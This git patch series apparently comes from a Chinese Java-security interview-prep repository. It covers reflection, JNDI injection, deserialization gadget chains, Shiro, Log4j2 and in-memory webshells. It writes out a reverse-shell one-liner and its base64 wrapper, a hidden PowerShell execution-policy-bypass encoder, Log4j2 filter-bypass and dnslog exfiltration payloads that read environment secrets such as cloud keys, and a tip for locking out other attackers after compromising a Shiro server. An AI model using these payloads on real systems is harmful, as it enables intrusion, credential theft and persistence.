From de4856cad3978959cb5268bbbe97356cf4347e00 Mon Sep 17 00:00:00 2001 From: 4ra1n <34726933+4ra1n@users.noreply.github.com> Date: Mon, 14 Feb 2022 15:10:40 +0800 Subject: [PATCH 01/29] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 59f657c..d471b76 100644 --- a/README.md +++ b/README.md @@ -14,7 +14,7 @@ -作者技术水平水平,难免有错误之处,欢迎师傅们提出ISSUE和PR +作者技术水平有限,难免有错误之处,欢迎师傅们提出ISSUE和PR From 6e8c8b72fda8d85f9be7ba8b0aa8aeaac1e8d1fd Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Mon, 14 Feb 2022 15:12:18 +0800 Subject: [PATCH 02/29] update --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index d471b76..e966646 100644 --- a/README.md +++ b/README.md @@ -276,7 +276,7 @@ Shiro注内存马时候由于反序列化Payload过大会导致请求头过大 - 谈谈Log4j2漏洞(★★) -漏洞原理其实不难,简单来说就是对于`${jndi:}`格式的日志默认执行`JndiLoop.loojup`导致的RCE。有几处关键问题,首先日志的任何一部分插入`${}`都会进行递归处理,也就是说`log.info/error/warn`等方法如果日志内容可控,就会导致这个问题。这个漏洞本身不复杂,后续的一个绕过比较有趣 +漏洞原理其实不难,简单来说就是对于`${jndi:}`格式的日志默认执行`JndiLoop.lookup`导致的RCE。日志的任何一部分插入`${}`都会进行递归处理,也就是说`log.info/error/warn`等方法如果日志内容可控,就会导致这个问题。这个漏洞本身不复杂,后续的绕过比较有趣 From 9300ebb462820a1adadc96f10c18a9fafa066519 Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Mon, 14 Feb 2022 15:15:08 +0800 Subject: [PATCH 03/29] update --- README.md | 319 ----------------------------------------------- java/README.md | 199 +++++++++++++++++++++++++++++ log4j2/README.md | 49 ++++++++ shiro/README.md | 53 ++++++++ 4 files changed, 301 insertions(+), 319 deletions(-) create mode 100644 java/README.md create mode 100644 log4j2/README.md create mode 100644 shiro/README.md diff --git a/README.md b/README.md index e966646..b6ecbc2 100644 --- a/README.md +++ b/README.md @@ -15,322 +15,3 @@ 作者技术水平有限,难免有错误之处,欢迎师傅们提出ISSUE和PR - - - -## JDK - -- Java反射做了什么事情(★) - -反射是根据字节码获得类信息或调用方法。从开发者角度来讲,反射最大的意义是提高程序的灵活性。Java本身是静态语言,但反射特性允许运行时动态修改类定义和属性等,达到了静态的效果 - - - -- Java反射可以修改Final字段嘛(★★) - -可以做到,参考以下代码 - -```java -field.setAccessible(true); -Field modifiersField = Field.class.getDeclaredField("modifiers"); -modifiersField.setAccessible(true); -modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL); -field.set(null, newValue); -``` - - - -- 传统的反射方法加入黑名单怎么绕(★★★) - -可以使用的类和方法如下(参考三梦师傅) - -```java -ReflectUtil.forName -BytecodeDescriptor -ClassLoader.loadClass -sun.reflect.misc.MethodUtil -sun.reflect.misc.FieldUtil -sun.reflect.misc.ConstructorUtil -MethodAccessor.invoke -JSClassLoader.invoke -JSClassLoader.newInstance -``` - - - -- Java中可以执行反弹shell的命令吗(★★) - -可以执行,但需要对命令进行特殊处理。例如直接执行这样的命令:`bash -i >& /dev/tcp/ip/port 0>&1`会失败,简单来说因为`>`符号是重定向,如果命令中包含输入输出重定向和管道符,只有在`bash`下才可以,使用Java执行这样的命令会失败,所以需要加入`Base64` - -```shell -bash -c {echo,base64的payload}|{base64,-d}|{bash,-i} -``` - -针对`Powershell`应该使用以下的命令 - -```shell -powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc 特殊的Base64 -``` - -这个特殊的Base64和普通Base64不同,需要填充0,算法如下 - -```java -public static String getPowershellCommand(String cmd) { - char[] chars = cmd.toCharArray(); - List temp = new ArrayList<>(); - for (char c : chars) { - byte[] code = String.valueOf(c).getBytes(StandardCharsets.UTF_8); - for (byte b : code) { - temp.add(b); - } - temp.add((byte) 0); - } - byte[] result = new byte[temp.size()]; - for (int i = 0; i < temp.size(); i++) { - result[i] = temp.get(i); - } - String data = Base64.getEncoder().encodeToString(result); - String prefix = "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc "; - return prefix + data; -} -``` - - - -- 假设`Runtime.exec`加入黑名单还有什么方式执行命令(★★) - -其实这个问题有点类似`JSP Webshell`免杀 - -大致方法有这些:使用基本的反射,ProcessImpl和ProcessBuilde,JDNI和LDAP注入,TemplatesImpl,BCEL,BeansExpression,自定义ClassLoader,动态编译加载,ScriptEngine,反射调用一些native方法,各种EL(SPEL和Tomcat EL等) - - - -- RMI和LDAP类型的JNDI注入分别在哪个版本限制(★) - -RMI的JNDI注入在8u121后限制,需要手动开启`com.sun.jndi.rmi.object.trustURLCodebase`属性 - -LDAP的JNDI注入在8u191后限制,需要开启`com.sun.jndi.ldap.object.trustURLCodebase`属性 - - - -- RMI和LDAP的限制版本分别可以怎样绕过(★★) - -RMI的限制是限制了远程的工厂类而不限制本地,所以用本地工厂类触发 - -通过`org.apache.naming.factory.BeanFactory`结合`ELProcessor`绕过 - -LDAP的限制中不对`javaSerializedData`验证,所以可以打本地`gadget` - - - -- 谈谈TemplatesImpl这个类(★★) - -这个类本身是JDK中XML相关的类,但被很多`Gadget`拿来用 - -一般情况下加载字节码都需要使用到ClassLoader来做,其中最核心的`defineClass`方法只能通过反射来调用,所以实战可能比较局限。但JDK中有一个`TemplatesImpl`类,其中包含`TransletClassLoader`子类重写了`defineClass`所以允许`TemplatesImpl`类本身调用。`TemplatesImpl`其中有一个特殊字段`_bytecodes`是一个二维字节数组,是被加载的字节码 - -通过`newTransformer`可以达到`defineClass`方法加载字节码。而`getOutputProperties`方法(getter)中调用了`newTransformer`方法,也是一个利用链 - -```text -TemplatesImpl.getOutputProperties() - TemplatesImpl.newTransformer() - TemplatesImpl.getTransletInstance() - TemplatesImpl.defineTransletClasses() - ClassLoader.defineClass() - Class.newInstance() -``` - - - -- 了解BCEL ClassLoader吗(★) - -BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目 - -该类常常用于各种漏洞利用POC的构造,可以加载特殊的字符串所表示的字节码 - -但是在Java 8u251之后该类从JDK中移除 - - - -- 谈谈7U21反序列化(★★★★★) - -从`LinkedHashSet.readObject`开始,找到父类`HashSet.readObject`方法,其中包含`HashMap`的类型转换以及`HashMap.put`方法,跟入`HashMap.put`其中对`key`与已有`key`进行`equals`判断,这个`equals`方法是触发后续利用链的关键。但`equals`方法的前置条件必须满足 - -```java -if (e.hash == hash && ((k = e.key) == key || key.equals(k))) -``` - -所以这里需要用哈希碰撞,让下一个`key`的哈希值和前一个相等,才可进入第二个条件。而第二个条件中必须让前一个条件失败才可以进去`equals`方法,两个`key`对象不相同是显而易见的 - -接下来的任务是找到一处能触发`equals`方法的地方 - -反射创建`AnnotationInvocationHandler`对象,传入`Templates`类型和`HashMap`参数。再反射创建被该对象代理的新对象,根据动态代理技术,代理对象方法调用需要经过`InvocationHandler.invoke`方法,在`AnnotationInvocationHandler`这个`InvocationHandler`的`invoke`方法实现中如果遇到`equals`方法,会进入`equalsImpl`方法,其中遍历了`equals`方法传入的参数`TemplatesImpl`的所有方法并反射调用,通过`getOutputProperties`方法最终加载字节码导致RCE - -关于7U21的伪代码如下 - -```java -Object templates = Gadgets.createTemplatesImpl(); -String zeroHashCodeStr = "f5a5a608"; -HashMap map = new HashMap(); -Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; -ctor.setAccessible(true); -InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map); -Templates proxy = (Templates) Proxy.newProxyInstance(exp.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler); -LinkedHashSet set = new LinkedHashSet(); -set.add(templates); -set.add(proxy); -map.put(zeroHashCodeStr, templates); -return set; -``` - -结合调用链 - -```text -LinkedHashSet.readObject() - LinkedHashSet.add()/HashMap.put() - Proxy(Templates).equals() - AnnotationInvocationHandler.invoke() - AnnotationInvocationHandler.equalsImpl() - Method.invoke() - ... - TemplatesImpl.getOutputProperties() -``` - -可以看到伪代码最后在`map`中`put`了某个元素,这是为了处理哈希碰撞的问题。`TemplatesImpl`没有重写`hashcode`直接调用`Object`的方法。而代理对象的`hashcode`方法也是会先进入`invoke`方法的,跟入`hashCodeImpl`方法看到是根据传入参数`HashMap`来做的,累加每一个`Entry`的`key`和`value`计算得出的`hashcode`。通过一些运算,可以找到符合条件的碰撞值 - - - -- 谈谈8U20反序列化(★★★★★) - -这是7U21修复的绕过(作者对该问题了解较浅,面试没有被问到过) - -在`AnnotationInvocationHandler`反序列化调用`readObject`方法中,对当前`type`进行了判断。之前POC中的`Templates`类型会导致抛出异常无法继续。使用`BeanContextSupport`绕过,在它的`readObject`方法中调用`readChildren`方法,其中有`try-catch`但没有抛出异常而是`continue`继续 - -所以这种情况下,就算之前的反序列化过程中出错,也会继续进行下去。但想要控制这种情况,不可以用正常序列化数据,需要自行构造畸形的序列化数据 - - - -- 了解缩小反序列化Payload的手段吗(★★★) - -首先最容易的方案是使用Javassist生成字节码,这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令,可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载 - - - -- 待师傅们补充 - - - -## Shiro - -- Shiro反序列化怎么检测key(★★★) - -实例化一个`SimplePrincipalCollection`遍历key列表进行AES加密,然后加入到`Cookie`的`rememberMe`字段中发送,如果响应头的`Set-Cookie`字段包含`rememberMe=deleteMe`说明不是该密钥,如果什么都不返回,说明当前key是正确的key。实际中可能需要多次这样的请求来确认key - - - -- Shiro 721怎么利用(★★) - -需要用到Padding Oracle Attack技术,限制条件是需要已知合法用户的`rememberMe`且需要爆破较长的时间 - - - -- 最新版Shiro还存在反序列化漏洞吗(★) - -存在,如果密钥是常见的,还是有反序列化漏洞的可能性 - - - -- Shiro反序列化Gadget选择有什么坑吗(★★★) - -默认不包含CC链包含CB1链。用不同版本的CB1会导致出错,因为`serialVersionUID` 不一致 - -另一个CB1的坑是`Comparator`来自于CC,需要使用如下的 - -```java -BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); -``` - - - -- Shiro注Tomcat内存马有什么坑吗(★★★★) - -Shiro注内存马时候由于反序列化Payload过大会导致请求头过大报错 - -解决办法有两种:第一种是反射修改Tomcat配置里的请求头限制熟悉,但这个不靠谱,不同版本`Tomcat`可能修改方式不一致。另外一种更为通用的手段是打过去一个`Loader`的`Payload`加载请求`Body`里的字节码,将内存马字节码写入请求`Body`中。这种方式的缺点是依赖当前请求对象,更进一步可以写文件`URLClassLoader`加载 - - - -- 有什么办法让Shiro洞只能被你一人发现(★★) - -发现Shiro洞后,改了其中的key为非通用key。通过已经存在的反序列化可以执行代码,反射改了`RememberMeManager`中的key即可。但这样会导致已登录用户失效,新用户不影响 - - - -- Shiro的权限绕过问题了解吗(★★) - -主要是和Spring配合时候的问题,例如`/;/test/admin/page`问题,在`Tomcat`判断`/;test/admin/page` 为test应用下的`/admin/page`路由,进入到Shiro时被`;`截断被认作为`/`,再进入Spring时又被正确处理为test应用下的`/admin/page`路由,最后导致shiro的权限绕过。后一个修复绕过,是针对动态路由如`/admin/{name}` - - - -## Log4j2 - -- 谈谈Log4j2漏洞(★★) - -漏洞原理其实不难,简单来说就是对于`${jndi:}`格式的日志默认执行`JndiLoop.lookup`导致的RCE。日志的任何一部分插入`${}`都会进行递归处理,也就是说`log.info/error/warn`等方法如果日志内容可控,就会导致这个问题。这个漏洞本身不复杂,后续的绕过比较有趣 - - - -- 知道Log4j2 2.15.0 RC1修复的绕过吗(★★★) - -修复内容限制了协议和HOST以及类型,其中类型这个东西其实没用,协议的限制中包含了`LDAP`等于没限制。重点在于HOST的限制,只允许本地localhost和127.0.0.1等IP。但这里出现的问题是,加入了限制但没有捕获异常,如果产生异常会继续`lookup`所以如果在URL中加入一些特殊字符,例如空格,即可导致异常然后RCE - - - -- Log4j2的两个DOS CVE了解吗(★★) - -其中一个DOS是`lookup`本身延迟等待和允许多个标签`${}`导致的问题 - -另一个DOS是嵌套标签`${}`导致栈溢出 - - - -- Log4j2 2.15.0正式版的绕过了解吗(★★★) - -正式版的修复只是在之前基础上捕获了异常。这个绕过本质还是绕HOST限制。使用`127.0.0.1#evil.com`即可绕过,需要服务端配置泛域名,所以#前的127.0.0.1会被认为是某个子域名,而本地解析认为这是127.0.0.1绕过了HOST的限制。但该RCE仅可以在MAC OS和部分Linux平台成功 - - - -- Log4j2绕WAF的手段有哪些(★★) - -使用类似`${::-J}`的方式做字符串的绕过,还可以结合`upper`和`lower`标签进行嵌套 - -有一些特殊字符的情况结合大小写转换有巧妙的效果,还可以加入垃圾字符 - -例如:`${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}` - - - -- Log4j2除了RCE还有什么利用姿势(★★★) - -利用其他的`lookup`可以做信息泄露例如`${env:USER}`和`${env:AWS_SECRET_ACCESS_KEY}` - -在`SpringBoot`情况下可以使用`bundle:application`获得数据库密码等敏感信息 - -这些敏感信息可以利用`dnslog`外带`${jndi:ldap://${java:version}.xxx.dnslog.cn}` - - - - - - - - - - - - - - - - - diff --git a/java/README.md b/java/README.md new file mode 100644 index 0000000..54610be --- /dev/null +++ b/java/README.md @@ -0,0 +1,199 @@ +## JDK + +- Java反射做了什么事情(★) + +反射是根据字节码获得类信息或调用方法。从开发者角度来讲,反射最大的意义是提高程序的灵活性。Java本身是静态语言,但反射特性允许运行时动态修改类定义和属性等,达到了静态的效果 + + + +- Java反射可以修改Final字段嘛(★★) + +可以做到,参考以下代码 + +```java +field.setAccessible(true); +Field modifiersField = Field.class.getDeclaredField("modifiers"); +modifiersField.setAccessible(true); +modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL); +field.set(null, newValue); +``` + + + +- 传统的反射方法加入黑名单怎么绕(★★★) + +可以使用的类和方法如下(参考三梦师傅) + +```java +ReflectUtil.forName +BytecodeDescriptor +ClassLoader.loadClass +sun.reflect.misc.MethodUtil +sun.reflect.misc.FieldUtil +sun.reflect.misc.ConstructorUtil +MethodAccessor.invoke +JSClassLoader.invoke +JSClassLoader.newInstance +``` + + + +- Java中可以执行反弹shell的命令吗(★★) + +可以执行,但需要对命令进行特殊处理。例如直接执行这样的命令:`bash -i >& /dev/tcp/ip/port 0>&1`会失败,简单来说因为`>`符号是重定向,如果命令中包含输入输出重定向和管道符,只有在`bash`下才可以,使用Java执行这样的命令会失败,所以需要加入`Base64` + +```shell +bash -c {echo,base64的payload}|{base64,-d}|{bash,-i} +``` + +针对`Powershell`应该使用以下的命令 + +```shell +powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc 特殊的Base64 +``` + +这个特殊的Base64和普通Base64不同,需要填充0,算法如下 + +```java +public static String getPowershellCommand(String cmd) { + char[] chars = cmd.toCharArray(); + List temp = new ArrayList<>(); + for (char c : chars) { + byte[] code = String.valueOf(c).getBytes(StandardCharsets.UTF_8); + for (byte b : code) { + temp.add(b); + } + temp.add((byte) 0); + } + byte[] result = new byte[temp.size()]; + for (int i = 0; i < temp.size(); i++) { + result[i] = temp.get(i); + } + String data = Base64.getEncoder().encodeToString(result); + String prefix = "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc "; + return prefix + data; +} +``` + + + +- 假设`Runtime.exec`加入黑名单还有什么方式执行命令(★★) + +其实这个问题有点类似`JSP Webshell`免杀 + +大致方法有这些:使用基本的反射,ProcessImpl和ProcessBuilde,JDNI和LDAP注入,TemplatesImpl,BCEL,BeansExpression,自定义ClassLoader,动态编译加载,ScriptEngine,反射调用一些native方法,各种EL(SPEL和Tomcat EL等) + + + +- RMI和LDAP类型的JNDI注入分别在哪个版本限制(★) + +RMI的JNDI注入在8u121后限制,需要手动开启`com.sun.jndi.rmi.object.trustURLCodebase`属性 + +LDAP的JNDI注入在8u191后限制,需要开启`com.sun.jndi.ldap.object.trustURLCodebase`属性 + + + +- RMI和LDAP的限制版本分别可以怎样绕过(★★) + +RMI的限制是限制了远程的工厂类而不限制本地,所以用本地工厂类触发 + +通过`org.apache.naming.factory.BeanFactory`结合`ELProcessor`绕过 + +LDAP的限制中不对`javaSerializedData`验证,所以可以打本地`gadget` + + + +- 谈谈TemplatesImpl这个类(★★) + +这个类本身是JDK中XML相关的类,但被很多`Gadget`拿来用 + +一般情况下加载字节码都需要使用到ClassLoader来做,其中最核心的`defineClass`方法只能通过反射来调用,所以实战可能比较局限。但JDK中有一个`TemplatesImpl`类,其中包含`TransletClassLoader`子类重写了`defineClass`所以允许`TemplatesImpl`类本身调用。`TemplatesImpl`其中有一个特殊字段`_bytecodes`是一个二维字节数组,是被加载的字节码 + +通过`newTransformer`可以达到`defineClass`方法加载字节码。而`getOutputProperties`方法(getter)中调用了`newTransformer`方法,也是一个利用链 + +```text +TemplatesImpl.getOutputProperties() + TemplatesImpl.newTransformer() + TemplatesImpl.getTransletInstance() + TemplatesImpl.defineTransletClasses() + ClassLoader.defineClass() + Class.newInstance() +``` + + + +- 了解BCEL ClassLoader吗(★) + +BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目 + +该类常常用于各种漏洞利用POC的构造,可以加载特殊的字符串所表示的字节码 + +但是在Java 8u251之后该类从JDK中移除 + + + +- 谈谈7U21反序列化(★★★★★) + +从`LinkedHashSet.readObject`开始,找到父类`HashSet.readObject`方法,其中包含`HashMap`的类型转换以及`HashMap.put`方法,跟入`HashMap.put`其中对`key`与已有`key`进行`equals`判断,这个`equals`方法是触发后续利用链的关键。但`equals`方法的前置条件必须满足 + +```java +if (e.hash == hash && ((k = e.key) == key || key.equals(k))) +``` + +所以这里需要用哈希碰撞,让下一个`key`的哈希值和前一个相等,才可进入第二个条件。而第二个条件中必须让前一个条件失败才可以进去`equals`方法,两个`key`对象不相同是显而易见的 + +接下来的任务是找到一处能触发`equals`方法的地方 + +反射创建`AnnotationInvocationHandler`对象,传入`Templates`类型和`HashMap`参数。再反射创建被该对象代理的新对象,根据动态代理技术,代理对象方法调用需要经过`InvocationHandler.invoke`方法,在`AnnotationInvocationHandler`这个`InvocationHandler`的`invoke`方法实现中如果遇到`equals`方法,会进入`equalsImpl`方法,其中遍历了`equals`方法传入的参数`TemplatesImpl`的所有方法并反射调用,通过`getOutputProperties`方法最终加载字节码导致RCE + +关于7U21的伪代码如下 + +```java +Object templates = Gadgets.createTemplatesImpl(); +String zeroHashCodeStr = "f5a5a608"; +HashMap map = new HashMap(); +Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; +ctor.setAccessible(true); +InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map); +Templates proxy = (Templates) Proxy.newProxyInstance(exp.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler); +LinkedHashSet set = new LinkedHashSet(); +set.add(templates); +set.add(proxy); +map.put(zeroHashCodeStr, templates); +return set; +``` + +结合调用链 + +```text +LinkedHashSet.readObject() + LinkedHashSet.add()/HashMap.put() + Proxy(Templates).equals() + AnnotationInvocationHandler.invoke() + AnnotationInvocationHandler.equalsImpl() + Method.invoke() + ... + TemplatesImpl.getOutputProperties() +``` + +可以看到伪代码最后在`map`中`put`了某个元素,这是为了处理哈希碰撞的问题。`TemplatesImpl`没有重写`hashcode`直接调用`Object`的方法。而代理对象的`hashcode`方法也是会先进入`invoke`方法的,跟入`hashCodeImpl`方法看到是根据传入参数`HashMap`来做的,累加每一个`Entry`的`key`和`value`计算得出的`hashcode`。通过一些运算,可以找到符合条件的碰撞值 + + + +- 谈谈8U20反序列化(★★★★★) + +这是7U21修复的绕过(作者对该问题了解较浅,面试没有被问到过) + +在`AnnotationInvocationHandler`反序列化调用`readObject`方法中,对当前`type`进行了判断。之前POC中的`Templates`类型会导致抛出异常无法继续。使用`BeanContextSupport`绕过,在它的`readObject`方法中调用`readChildren`方法,其中有`try-catch`但没有抛出异常而是`continue`继续 + +所以这种情况下,就算之前的反序列化过程中出错,也会继续进行下去。但想要控制这种情况,不可以用正常序列化数据,需要自行构造畸形的序列化数据 + + + +- 了解缩小反序列化Payload的手段吗(★★★) + +首先最容易的方案是使用Javassist生成字节码,这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令,可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载 + + + +- 待师傅们补充 \ No newline at end of file diff --git a/log4j2/README.md b/log4j2/README.md new file mode 100644 index 0000000..18961e0 --- /dev/null +++ b/log4j2/README.md @@ -0,0 +1,49 @@ +## Log4j2 + +- 谈谈Log4j2漏洞(★★) + +漏洞原理其实不难,简单来说就是对于`${jndi:}`格式的日志默认执行`JndiLoop.lookup`导致的RCE。日志的任何一部分插入`${}`都会进行递归处理,也就是说`log.info/error/warn`等方法如果日志内容可控,就会导致这个问题。这个漏洞本身不复杂,后续的绕过比较有趣 + + + +- 知道Log4j2 2.15.0 RC1修复的绕过吗(★★★) + +修复内容限制了协议和HOST以及类型,其中类型这个东西其实没用,协议的限制中包含了`LDAP`等于没限制。重点在于HOST的限制,只允许本地localhost和127.0.0.1等IP。但这里出现的问题是,加入了限制但没有捕获异常,如果产生异常会继续`lookup`所以如果在URL中加入一些特殊字符,例如空格,即可导致异常然后RCE + + + +- Log4j2的两个DOS CVE了解吗(★★) + +其中一个DOS是`lookup`本身延迟等待和允许多个标签`${}`导致的问题 + +另一个DOS是嵌套标签`${}`导致栈溢出 + + + +- Log4j2 2.15.0正式版的绕过了解吗(★★★) + +正式版的修复只是在之前基础上捕获了异常。这个绕过本质还是绕HOST限制。使用`127.0.0.1#evil.com`即可绕过,需要服务端配置泛域名,所以#前的127.0.0.1会被认为是某个子域名,而本地解析认为这是127.0.0.1绕过了HOST的限制。但该RCE仅可以在MAC OS和部分Linux平台成功 + + + +- Log4j2绕WAF的手段有哪些(★★) + +使用类似`${::-J}`的方式做字符串的绕过,还可以结合`upper`和`lower`标签进行嵌套 + +有一些特殊字符的情况结合大小写转换有巧妙的效果,还可以加入垃圾字符 + +例如:`${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}` + + + +- Log4j2除了RCE还有什么利用姿势(★★★) + +利用其他的`lookup`可以做信息泄露例如`${env:USER}`和`${env:AWS_SECRET_ACCESS_KEY}` + +在`SpringBoot`情况下可以使用`bundle:application`获得数据库密码等敏感信息 + +这些敏感信息可以利用`dnslog`外带`${jndi:ldap://${java:version}.xxx.dnslog.cn}` + + + +- 待补充 \ No newline at end of file diff --git a/shiro/README.md b/shiro/README.md new file mode 100644 index 0000000..6a83634 --- /dev/null +++ b/shiro/README.md @@ -0,0 +1,53 @@ +## Shiro + +- Shiro反序列化怎么检测key(★★★) + +实例化一个`SimplePrincipalCollection`遍历key列表进行AES加密,然后加入到`Cookie`的`rememberMe`字段中发送,如果响应头的`Set-Cookie`字段包含`rememberMe=deleteMe`说明不是该密钥,如果什么都不返回,说明当前key是正确的key。实际中可能需要多次这样的请求来确认key + + + +- Shiro 721怎么利用(★★) + +需要用到Padding Oracle Attack技术,限制条件是需要已知合法用户的`rememberMe`且需要爆破较长的时间 + + + +- 最新版Shiro还存在反序列化漏洞吗(★) + +存在,如果密钥是常见的,还是有反序列化漏洞的可能性 + + + +- Shiro反序列化Gadget选择有什么坑吗(★★★) + +默认不包含CC链包含CB1链。用不同版本的CB1会导致出错,因为`serialVersionUID` 不一致 + +另一个CB1的坑是`Comparator`来自于CC,需要使用如下的 + +```java +BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); +``` + + + +- Shiro注Tomcat内存马有什么坑吗(★★★★) + +Shiro注内存马时候由于反序列化Payload过大会导致请求头过大报错 + +解决办法有两种:第一种是反射修改Tomcat配置里的请求头限制熟悉,但这个不靠谱,不同版本`Tomcat`可能修改方式不一致。另外一种更为通用的手段是打过去一个`Loader`的`Payload`加载请求`Body`里的字节码,将内存马字节码写入请求`Body`中。这种方式的缺点是依赖当前请求对象,更进一步可以写文件`URLClassLoader`加载 + + + +- 有什么办法让Shiro洞只能被你一人发现(★★) + +发现Shiro洞后,改了其中的key为非通用key。通过已经存在的反序列化可以执行代码,反射改了`RememberMeManager`中的key即可。但这样会导致已登录用户失效,新用户不影响 + + + +- Shiro的权限绕过问题了解吗(★★) + +主要是和Spring配合时候的问题,例如`/;/test/admin/page`问题,在`Tomcat`判断`/;test/admin/page` 为test应用下的`/admin/page`路由,进入到Shiro时被`;`截断被认作为`/`,再进入Spring时又被正确处理为test应用下的`/admin/page`路由,最后导致shiro的权限绕过。后一个修复绕过,是针对动态路由如`/admin/{name}` + + + +- 待补充 \ No newline at end of file From fe5c27b8fe7e1927e4701b653723b3ddf6ab1559 Mon Sep 17 00:00:00 2001 From: 4ra1n <34726933+4ra1n@users.noreply.github.com> Date: Mon, 14 Feb 2022 15:16:43 +0800 Subject: [PATCH 04/29] Update README.md --- README.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/README.md b/README.md index b6ecbc2..a2ca2c8 100644 --- a/README.md +++ b/README.md @@ -15,3 +15,11 @@ 作者技术水平有限,难免有错误之处,欢迎师傅们提出ISSUE和PR + +## 分类 + +[JDK分类](https://github.com/4ra1n/JavaSecInterview/tree/master/java) + +[Shiro分类](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro) + +[Log4j2分类](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2) From 75d7f435857dc730ebd87005d66bd785c9921163 Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Mon, 14 Feb 2022 15:25:07 +0800 Subject: [PATCH 05/29] update --- README.md | 6 +++--- java/README.md | 4 ---- log4j2/README.md | 4 ---- shiro/README.md | 4 ---- 4 files changed, 3 insertions(+), 15 deletions(-) diff --git a/README.md b/README.md index a2ca2c8..226c943 100644 --- a/README.md +++ b/README.md @@ -18,8 +18,8 @@ ## 分类 -[JDK分类](https://github.com/4ra1n/JavaSecInterview/tree/master/java) +[Java本身的安全问题 - 12个](https://github.com/4ra1n/JavaSecInterview/tree/master/java) -[Shiro分类](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro) +[Shiro框架相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro) -[Log4j2分类](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2) +[Log4j2组件相关的安全问题 - 6个](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2) diff --git a/java/README.md b/java/README.md index 54610be..613b9bb 100644 --- a/java/README.md +++ b/java/README.md @@ -193,7 +193,3 @@ LinkedHashSet.readObject() - 了解缩小反序列化Payload的手段吗(★★★) 首先最容易的方案是使用Javassist生成字节码,这种情况下生成的字节码较小。进一步可以用ASM删除所有的LineNumber指令,可以更小一步。最终手段可以分块发送多个Payload最后合并再用URLClassLoader加载 - - - -- 待师傅们补充 \ No newline at end of file diff --git a/log4j2/README.md b/log4j2/README.md index 18961e0..c16256b 100644 --- a/log4j2/README.md +++ b/log4j2/README.md @@ -43,7 +43,3 @@ 在`SpringBoot`情况下可以使用`bundle:application`获得数据库密码等敏感信息 这些敏感信息可以利用`dnslog`外带`${jndi:ldap://${java:version}.xxx.dnslog.cn}` - - - -- 待补充 \ No newline at end of file diff --git a/shiro/README.md b/shiro/README.md index 6a83634..dc25e19 100644 --- a/shiro/README.md +++ b/shiro/README.md @@ -47,7 +47,3 @@ Shiro注内存马时候由于反序列化Payload过大会导致请求头过大 - Shiro的权限绕过问题了解吗(★★) 主要是和Spring配合时候的问题,例如`/;/test/admin/page`问题,在`Tomcat`判断`/;test/admin/page` 为test应用下的`/admin/page`路由,进入到Shiro时被`;`截断被认作为`/`,再进入Spring时又被正确处理为test应用下的`/admin/page`路由,最后导致shiro的权限绕过。后一个修复绕过,是针对动态路由如`/admin/{name}` - - - -- 待补充 \ No newline at end of file From ff1a69fbf24f5088047fa4d0be4da949ad74e53c Mon Sep 17 00:00:00 2001 From: EmYiQing <2023503307@qq.com> Date: Mon, 14 Feb 2022 15:53:31 +0800 Subject: [PATCH 06/29] memshell --- README.md | 2 ++ memshell/README.md | 51 ++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 53 insertions(+) create mode 100644 memshell/README.md diff --git a/README.md b/README.md index 226c943..4e164c3 100644 --- a/README.md +++ b/README.md @@ -23,3 +23,5 @@ [Shiro框架相关的安全问题 - 7个](https://github.com/4ra1n/JavaSecInterview/tree/master/shiro) [Log4j2组件相关的安全问题 - 6个](https://github.com/4ra1n/JavaSecInterview/tree/master/log4j2) + +[内存马专题 - 6个](https://github.com/4ra1n/JavaSecInterview/tree/master/memshell) diff --git a/memshell/README.md b/memshell/README.md new file mode 100644 index 0000000..869a035 --- /dev/null +++ b/memshell/README.md @@ -0,0 +1,51 @@ +## 内存马 + +- Tomcat和Spring内存马分别有哪些(★) + +Tomcat内存马有:Filter型,Servlet型,Listener型,Java Agent型 + +Spring内存马有:Controller型,Interceptor型 + + + +- Servlet/Filter内存马查杀手段是怎样的(★★★) + +直接能想到的办法是利用Java Agent遍历所有JVM中的class,判断是否是内存马 + +例如使用阿里的arthas分析,查看是否存在恶意的类名,然后删除 + +或者使用c0ny1师傅的java-memshell-scanner项目,从Tomcat API角度删除 + + + +- Filter内存马查杀时候有什么明显特征吗(★★★) + +首先是类名可能是恶意的,或者报名和项目名不符,可以一眼看出 + +其次优先级肯定是第一位的,这由内存马的特性决定,重点关注第一个Filter + +观察ClassLoader是否是不正常的,以及是否存在对应的Class文件 + + + +- 如何实现无法删除的Servlet/Filter内存马(★★★★) + 